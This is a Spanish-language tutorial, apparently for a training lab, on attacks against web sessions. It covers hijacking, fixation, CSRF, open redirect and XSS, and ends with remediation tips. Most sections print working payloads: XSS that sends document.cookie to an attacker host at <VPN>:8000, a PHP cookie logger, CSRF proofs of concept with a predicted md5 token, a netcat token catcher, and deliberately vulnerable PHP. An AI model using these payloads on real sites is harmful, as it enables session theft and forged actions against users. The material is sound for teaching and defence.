Secciones
1. ¿Qué es una sesión de usuario?
Una sesión agrupa las interacciones de un usuario con una aplicación web durante un intervalo de tiempo. Dado que HTTP es sin estado, necesitamos mecanismos externos para recordar quién eres entre petición y petición:
- Cookies
- Parámetros en la URL
- Campos ocultos en formularios HTML
- sessionStorage y localStorage (HTML5)
1.1. Identificador de sesión
Un token único define cada sesión:
- Único: nunca reutilizable.
- Entropía alta: impredecible.
- Caducidad: tiempo de vida limitado.
Las plataformas estándar (PHP, Java, .NET) gestionan esto por defecto. Si trabajas con un sistema propio, verifica:
- URL: queda en historiales y referers.
- Campos ocultos: pueden quedar en cachés.
- sessionStorage: dura hasta cerrar la pestaña.
- localStorage: persiste hasta borrarse manualmente.
2. Tipos de ataques sobre sesiones
- Secuestro de sesión (Hijacking)
- Fijación de sesión (Fixation)
- Robo de tokens sin interacción directa
- XSS para extraer cookies
- CSRF (Cross-Site Request Forgery)
- Redirecciones abiertas (Open Redirect)
- Encadenamiento XSS + CSRF
Cada uno llegará acompañado de un ejemplo práctico y una breve explicación.
3. Secuestro de sesión (Session Hijacking)
El atacante roba el token y lo usa para suplantarte.
Métodos comunes:
- Sniffing de tráfico HTTP con Wireshark.
- XSS para leer
document.cookie
. - Revisar historiales o logs de servidor.
3.1. Ejemplo práctico
1. Accede a http://xss.ejemplo.net con:
– Usuario: heavycat106
– Contraseña: rocknrol
2. En DevTools ves la cookie auth-session.
3. Copias ese valor y lo pegas en otra sesión (por ejemplo, en modo privado).
4. Accedes como la usuaria original.
Explicación: Mostramos cómo usar la cookie obtenida en la consola del navegador para iniciar sesión en otra ventana, demostrando el riesgo de exponer cookies de sesión.
4. Fijación de sesión (Session Fixation)
El atacante fuerza a la víctima a usar un ID de sesión que él controla.
4.1. Ejemplo vulnerable en PHP
<?php
if (!isset($_GET['token'])) {
session_start();
header('Location: /?redirect_uri=/complete.html&token=' . session_id());
} else {
setcookie('PHPSESSID', $_GET['token']);
}
?>
Explicación: El atacante genera un enlace con un token de sesión propio; cuando la víctima lo visita y se autentica, usa ese mismo ID, permitiendo al atacante acceder con él.
5. Robo de tokens sin interacción directa
Usando inyección HTML forzamos al navegador a enviar datos sensibles.
5.1. Inyección para capturar token CSRF
<table background='//<IP_VPN>:8000/'></table>
Explicación: Al incluir un recurso de fondo apuntando al servidor atacante, el navegador de la víctima reenvía solicitudes mostrando encabezados que incluyen tokens CSRF.
6. XSS para extraer cookies
Si las cookies no tienen la bandera HttpOnly
, un XSS puede leerlas.
6.1. Script de registro de cookies
<?php
$logFile = 'cookieLog.txt';
$cookie = $_REQUEST['c'];
file_put_contents($logFile, $cookie . "\n", FILE_APPEND);
header('Location: http://www.google.com/');
exit;
?>
Explicación: Este script PHP recibe la cookie (c=
) y la guarda en un fichero, permitiendo al atacante recuperarla desde el servidor.
6.2. Payloads avanzados
<style>@keyframes x{}</style>
<video style="animation-name:x"
onanimationend="location='http://<VPN>:8000/log.php?c='+document.cookie;"></video>
<h1 onmouseover="document.write(
`<img src='http://<VPN>:8000?cookie=${btoa(document.cookie)}'>`);
">¡Pasa el ratón!</h1>
Explicación: El primer payload usa un <video>
con animación vacía para disparar onanimationend
y exfiltrar document.cookie
. El segundo aprovecha onmouseover
en un <h1>
para crear dinámicamente una <img>
cuyo src lleva la cookie codificada.
7. CSRF (Cross-Site Request Forgery)
Forzamos a un usuario autenticado a ejecutar acciones no deseadas.
7.1. CSRF con GET
<html>
<body>
<img src="http://csrf.ejemplo.net/app/delete/123?csrf=abcdef&action=delete" />
</body>
</html>
Explicación: Al cargar esta página, el navegador envía automáticamente la petición GET con la sesión de la víctima, borrando un recurso sin su consentimiento.
7.2. CSRF con POST y token predecible
echo -n goldenpeacock467 | md5sum
# 0bef12f8998057a7656043b6d30c90a2
<script src="md5.min.js"></script>
<button onclick="
let t = md5('goldenpeacock467');
fetch(
'http://csrf.ejemplo.net/app/change-visibility/confirm?csrf=' + t + '&action=change'
);
">Iniciar CSRF</button>
Explicación: Demuestra cómo predecir el token CSRF (md5 del nombre de usuario) y usar un script para enviar una petición POST maliciosa.
8. Redirecciones abiertas (Open Redirect)
Un redirect_uri
sin validación permite filtrar tokens.
8.1. Ejemplo con Netcat
nc -lvnp 1337 # Espera conexiones
El atacante envía a la víctima:
http://oredirect.ejemplo.net/?redirect_uri=http://<VPN>:1337&token=XYZ
Explicación: Al seguir la redirección, el navegador visita la URL atacante, enviando el parámetro token
, que queda registrado por Netcat.
9. Encadenamiento XSS + CSRF
Si existen protecciones CSRF (SameSite, tokens), un XSS puede robar y reutilizar el token.
9.1. Ejemplo de secuencia
// 1. Obtener token
fetch('/app/change-visibility')
.then(res => res.text())
.then(html => {
let token = html.match(/value="(\w+)"/)[1];
// 2. Ejecutar acción con token robado
fetch('/app/change-visibility', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'csrf=' + token + '&action=change'
});
});
Explicación: El script extrae dinámicamente el token CSRF de la respuesta GET y luego envía una petición POST legítima usando ese token para evadir protecciones.
10. Consejos de remediación
- Session Hijacking: Siempre TLS, cookies con
Secure
yHttpOnly
. - Fixation: Regenera ID tras login (
session_regenerate_id()
en PHP). - Robo de tokens: CSP estricta, cookies
SameSite
yHttpOnly
. - XSS: Escape de toda entrada, Content Security Policy, evita inyección de HTML.
- CSRF: Tokens impredecibles, validación de Referer, doble envío de cookies.
- Open Redirect: Lista blanca de URLs, mapea parámetros a IDs internos.
- Encadenamiento: Elimina vulnerabilidades XSS antes que CSRF.